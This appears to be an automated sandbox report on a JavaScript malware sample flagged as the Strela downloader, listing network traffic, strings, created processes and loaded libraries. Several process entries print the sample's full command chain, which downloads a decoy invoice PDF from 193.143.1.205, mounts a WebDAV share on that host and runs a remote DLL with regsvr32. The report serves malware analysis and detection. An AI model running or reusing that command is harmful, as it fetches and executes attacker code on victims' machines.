HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.1664590354.000002C766796000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000006.00000002.1727697952.000002453707C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1727697952.000002453709D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000006.00000002.1727697952.0000024537048000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/space
Source: svchost.exe, 00000008.00000002.2948686049.000001D97E200000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.7.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: svchost.exe, 00000008.00000003.1729373000.000001D97E468000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acosgr5ufcefr7w7nv4v6k4ebdda_117.0.5938.132/117.0.5
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: svchost.exe, 00000008.00000003.1729373000.000001D97E468000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: svchost.exe, 00000008.00000003.1729373000.000001D97E468000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: svchost.exe, 00000008.00000003.1729373000.000001D97E49D000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.8.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.7.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: svchost.exe, 00000008.00000003.1729373000.000001D97E512000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod.C:
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: svchost.exe, 00000008.00000003.1729373000.000001D97E512000.00000004.00000800.00020000.00000000.sdmp, edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96
Source: svchost.exe, 00000008.00000003.1729373000.000001D97E512000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Installers/23.194.0917.0001/amd64/OneDriveSetup.exe
Source: edb.log.8.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe.C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 6616, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\64092738923736.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\64092738923736.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 12315203731832427262.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/57@3/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6796:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5hpm2yey.0ry.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\12315203731832427262.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\64092738923736.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2160 --field-trial-handle=1628,i,15316732733863678480,11542386265952292308,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\64092738923736.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2160 --field-trial-handle=1628,i,15316732733863678480,11542386265952292308,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
